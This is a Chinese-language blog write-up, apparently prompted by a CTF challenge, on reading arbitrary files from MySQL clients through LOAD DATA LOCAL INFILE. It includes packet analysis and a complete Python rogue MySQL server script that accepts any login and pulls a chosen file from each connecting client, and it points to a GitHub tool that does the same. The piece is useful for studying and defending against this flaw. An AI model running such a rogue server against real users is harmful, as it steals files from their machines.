Mysql客户端任意文件读取

关于Mysql客户端任意文件读取的分析利用实践,其中包括对mysql读取客户端文件过程的抓包分析、利用python脚本伪造mysql服务器读取客户端文件


前言

之前做DDCTF 2019 Web题的时候,有一题Mysql弱口令的题用到了这个点,故来学习记录一波。


Load Data infile

在Mysql的官方文档中,有一项Security Issues with Load Data local(下图),里面提到了两个Load Data local的潜在安全问题,也就是我今天要分析学习的。

英语好的就看官方文档Security Issues with Load Data Local吧。

不想看英文的就来看我结合大佬blog得出的总结吧。简单来讲,就是我们可以利用python或者其他语言伪造一个mysql服务器(监听3306端口),这个伪造的mysql服务器可以不实现mysql任何功能(除了向客户端回复 greeting package外),当有别的客户端连接上该服务器时,就可以读取该客户端上的任意文件,前提是客户端具有该文件读写权限。

load data infile语法分析
mysql的loda data infile语句主要用于读取一个文件的内容并且存入一个表中。通常有两种用法:

1
2
load data infile "/etc/passwd" into table TestTable fields terminated by '分隔符';
load data local infile "/etc/passwd" into table TestTable fields terminated by '分隔符';

上面两条语句的区别就是,load data infile是将服务器上的文件(此处指/etc/passwd)插入表中,load data local infile是将客户端的文件插入表中

下面看我的本机执行结果图:

  1. 新建一个表test,结构如图示
  2. 使用local data infile语句,这里1.txt文件内容为Miracle778:test,可以看到插入成功
  3. 使用local data local infile语句,这里因为我连的是本机127.0.0.1的mysql,所以客户端服务器是同一台主机。可以看到,语句执行成功

好像扯多了,下面进入正题吧——如何伪造一个mysql服务端呢?


抓包分析

实验环境

要构造一个mysql服务器,那肯定要知道mysql服务器和客户端是怎么通信的。所以我们利用win 10主机上的mysql(5.5.40)做服务端,然后用kali虚拟机做客户端进行连接,过程中开启wireshark抓包。

开始测试

  1. 先在客户端kali上新建一个test文件等下用来load data local infile,内容为kali-client:Miracle778,同时把test表的列长度改一下(之前测试时建小了233)

  2. 打开wireshark,准备监听3306端口

  3. 用kali进行mysql连接,并使用load data local infile语句将文件插入test表里,这里用mysql连接时,注意加上--enable-local-infile选项,否则操作可能不生效。

  4. 可以看到wireshark中抓到一系列包

流量分析

我们来具体分析分析刚刚所抓到的包。
简单来看,一共有这么几步

  1. greeting包,获取服务端的banner
  2. 登录请求包
  3. 初始化的一些查询,比如select @@version_comment limit 1、show databases、use database之类的

下面让我们来找到关于执行 load data local infile语句的包。
第一个包是客户端发起的Request Query,看起来挺正常的。

但紧接着,服务端发回一个包含刚刚请求中文件名的包,这里是把/root/桌面/test.txt发回去了

然后客户端才开始发送/root/桌面/test.txt文件的内容

对上面过程做个简单梳理,可以得到

如果客户端要用load data local infile 将文件插入表中的话,客户端会先发一个请求包,这个请求包里包含了要插入的文件的路径。而服务器接下来返回一个Response TABULAR包,里面包含文件路径(我猜意思大概是我服务器允许你客户端上传xx文件),然后客户端得到了许可才开始传输文件。

这就引发思考了,如果服务器返回的Response TABULAR包里的文件路径不是客户端发出的请求包的路径的话,客户端会不会上传服务器指定的文件? 换而言之,如果通过控制服务器,在其返回的Response TABULAR包里更改文件路径,能否实现客户端任意文件读取。答案是肯定的(不然我就不会在这研究分析了,2333)

正如官方文档中提出的安全风险,In theory, a patched server could be built that would tell the client program to transfer a file of the server's choosing rather than the file named by the client in the LOAD DATA statement.,可以看到,客户端读取哪个文件其实并不是自己说了算的。这里借用一下大佬博客里的举例
正常情况:

客户端: hi~ 我把我的test.txt文件插到你的test表中可以么
服务端: OK,读取你本地的test.txt文件发给我
客户端: 这是文件内容:富强、民主、和谐

被恶意服务器篡改的情况:

客户端: hi~ 我把我的test.txt文件插到你的test表中可以么
服务端: OK,读取你本地的user.txt文件发给我
客户端: 这是文件内容: Miracle778 173xxxx1416

到这里有人可能要问,即便可以读任意文件,那也要等到客户端发起 LOAD DATA LOCAL INFILE后才能篡改回复要读取的文件路径呀。这里官方文档中也讲到了:"A patched server could in fact reply with a file-transfer request to any statement, not just LOAD DATA LOCAL这句话意思是说伪造的服务端可以在任何时候回复一个 file-transfer 请求,不一定非要是在LOAD DATA LOCAL的时候。但如果想要利用此特性,客户端必须具有 CLIENT_LOCAL_FILES 属性即可以使用load data local infile,这也是为什么在前面kali连接mysql时需要添加–enable-local-infile的原因。


伪造mysql服务端

理论分析

由前面分析可知,如果想要达到读取客户端任意文件目的的话,伪造的mysql服务端必须能够发送下列几个包。

  1. 向mysql client发送Server greeting包
  2. 对mysql client的登录包做Accept all authentications响应(即任意用户密码都能登录)
  3. 等待 Client 端发送一个Query Package
  4. 回复一个file transfer请求

那现在要解决的就是server greeting、auth、file transfer包的格式问题,方便编程构造。
server greeting和file transfer的包结构都可以在官方文档中找到

File Transfer数据包格式:Protocol::LOCAL_INFILE_Request
官方文档里还附带一张图,由这张图可以发现,我们需要等待一个来自 Client 的查询请求,才能回复这个读文件的请求

官方文档还给了一个example
0c 00 00 01 fb 2f 65 74 63 2f 70 61 73 73 77 64 ...../etc/passwd
这里前4个字节 0c 00 00 01中 0x0c表示数据包长度,从0xfb后开始算,长度后面的三个字节00 00 01表示数据包的序号。数据包的内容是从第五个字节 0xfb后开始的,0xfb代表包的类型,0xfb后面的就是数据内容了,这里是/etc/passwd

之前抓的file transfer包的格式截图如下,与上面example分析一致

Greeting包官方文档,如果不会构造可以直接拷贝抓到的数据包然后改一下长度、文件名之类的。
这里copy下大佬的格式总结

1
2
3
4
5
6
7
8
9
10
11
'\x0a',  # Protocol
'6.6.6-lightless_Mysql_Server' + '\0', # Version
'\x36\x00\x00\x00', # Thread ID
'ABCDABCD' + '\0', # Salt
'\xff\xf7', # Capabilities, CLOSE SSL HERE!
'\x08', # Collation
'\x02\x00', # Server Status
"\x0f\x80\x15",
'\0' * 10, # Unknown
'ABCDABCD' + '\0',
"mysql_native_password" + "\0"

编写POC

这里参考一个国外大佬的简单脚本,可以根据自己抓包的情况简单改改,只要改第10行的端口(非必须),15行greeting、20行的payloadlen、22行的payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python
#coding: utf8
import socket

# linux :
filestring = "/root/桌面/test.txt" #这一行并没有什么卵用,估计是记录一下读的哪个文件
# windows:
#filestring = "C:\\Windows\\system32\\drivers\\etc\\hosts"
HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 3307 # 改下端口
BUFFER_SIZE = 1024

# 原作者的greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#1 Greeting
greeting = "\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x34\x30\x00\x13\x00\x00\x00\x51\x59\x4a\x48\x67\x51\x3f\x29\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4c\x23\x69\x6a\x56\x50\x6f\x5c\x5e\x45\x7c\x61\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"

#3 Payload
payloadlen = "\x16" #原payloadlen = "\x0b"
padding = "\x00\x00"
payload = payloadlen + padding + "\x01\xfb\x2f\x72\x6f\x6f\x74\x2f\xe6\xa1\x8c\xe9\x9d\xa2\x2f\x74\x65\x73\x74\x2e\x74\x78\x74"
#原payload = payloadlen + padding + "\x0b\x00\x00\x01\xfb\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x73"
#/etc/hosts
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)

while True:
conn, addr = s.accept()

print 'Connection from:', addr
conn.send(greeting)
while True:
data = conn.recv(BUFFER_SIZE)
print " ".join("%02x" % ord(i) for i in data)
conn.send(authok)
data = conn.recv(BUFFER_SIZE)
conn.send(payload)
print "[*] Payload send!"
data = conn.recv(BUFFER_SIZE)
if not data: break
print "Data received:", data
break
# Don't leave the connection open.
conn.close()

下面我讲一下怎么用这个脚本,即如何改greeting等变量。
因为我们是用socket进行发包,我们可以复习一下socket的定义。连接了应用层与传输层

既然socket是连接应用层与传输层的,那传输层、网络层、链路层等的报文部分就不需要我们自己构造了,那就直接复制导出wireshark导出之前抓的server greeting包的应用层部分即可。

即构成我上面脚本的第15行的greeting变量
第17行的authok认证包,比对下好像没变,不需要改
第20-22行的File Transfer包就要结合要访问的文件路径改了。
比如我这里,我要读取的文件路径是/root/桌面/test.txt,长度是0x16,22,所以把payloadlen改为\x16,后面内容按上面的方法用wireshark复制导出即可。

脚本测试结果

在win10下运行该脚本(脚本中改成监听3307端口),然后用kali连接。可以看到成功读取。

上面是一个简单的脚本,我是为了加深一步理解所以修修补补改了改。理解完了之后,实际用肯定不优先用这个(还要自己改变量,烦的一比),轮子肯定是不会重造的。

所以这里放一个Github链接:https://github.com/allyshka/Rogue-MySql-Server

这里也放一下这个github项目里python脚本的测试结果

  1. 首先也是将脚本的监听端口改一下,然后再在filelist里加想要读的文件。
  2. 在win10下开启这个脚本,用kali连接
  3. 脚本运行后,会在当前目录下生成mysql.log目录,有客户端连接上后,进行记录,并且将文件读取存入,我们打开mysql.log文件,可以看到成功读取。

参考

Abusing MySQL clients to get LFI from the server/client
MySQL LOAD DATA 读取客户端任意文件
Read MySQL Client’s File

ヾノ≧∀≦)o 来呀!快活呀!~
-------- 本文结束 --------